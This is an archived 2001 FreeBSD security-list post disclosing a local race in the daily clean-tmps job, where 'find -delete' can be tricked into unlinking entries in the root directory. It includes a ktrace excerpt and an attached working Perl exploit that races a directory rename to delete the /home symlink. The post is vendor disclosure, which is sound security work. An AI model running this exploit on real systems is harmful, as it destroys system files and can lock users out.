Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 25 May 2001 18:03:54 +0100
From:      Nick Cleaton <nick@cleaton.net>
To:        security@freebsd.org
Subject:   4.3 Security: local DoS via clean-tmps
Message-ID:  <20010525180354.A434@lt1.cleaton.net>

next in thread | raw e-mail | index | archive | help

--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


Tested in 4.3-RELEASE only:

If /etc/periodic/daily/clean-tmps is enabled, then it's possible
for any local user to trick it into calling unlink() or rmdir()
on anything in the root directory.

The problem is that "find -delete" can be made to do chdir("..")
multiple times followed by unlink() and/or rmdir().

   588 find     CALL  chdir(0x280e227d)
   588 find     NAMI  ".."
   588 find     RET   chdir 0
   588 find     CALL  chdir(0x280e227d)
   588 find     NAMI  ".."
   588 find     RET   chdir 0
   588 find     CALL  chdir(0x280e227d)
   588 find     NAMI  ".."
   588 find     RET   chdir 0
   588 find     CALL  chdir(0x280e227d)
   588 find     NAMI  ".."
   588 find     RET   chdir 0
   588 find     CALL  unlink(0x8051440)
   588 find     NAMI  "sys"

This means it can be tricked into going up too high by moving
its current directory higher up the hierarchy, by for example
doing "mv /tmp/1/2/3 /tmp/4" while find's working directory is
somewhere under "/tmp/1/2/3".

The attached exploit will cause it to delete the /home -> /usr/home
symlink.  I think this would render it impossible to log into a
system configured for non-root ssh access via DSA key only.

This could also be used to unlink other users' files in /tmp
without regard to their age.

--
Nick Cleaton
nick@cleaton.net

--VbJkn9YxBvnuCH5J
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=ditch

#!/usr/bin/perl5 -w
use strict;

# The thing in / that we want to unlink.
my $target = 'home';

######################################################

use Fatal qw(mkdir chdir open utime rename link);

chdir '/tmp';
mkdir 'x47', 0755;
chdir 'x47';
mkdir 'foo', 0755;
oldfile($target);
chdir 'foo';
mkdir 'bar', 0755;
chdir 'bar';

mkdir 'tree', 0755;

chdir 'tree';
oldfile('trigger');
mkdir 'big', 0755;

# build something that will take a while to tear down
chdir 'big';
for my $f (1..50)
{  oldfile($f);
   for my $l (1..100)
   {  link $f, "$f.$l";
   }
}
chdir '..';

print "waiting for the cron job...\n";
fork and exit;

while (-r 'trigger')
{  
   select undef, undef, undef, 0.1;
}

rename '/tmp/x47/foo/bar/tree', '/tmp/x48';

sub oldfile
{  
   my $file = shift;
   open OUT, ">$file";
   utime 0, 0, $file;
}


--VbJkn9YxBvnuCH5J--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010525180354.A434>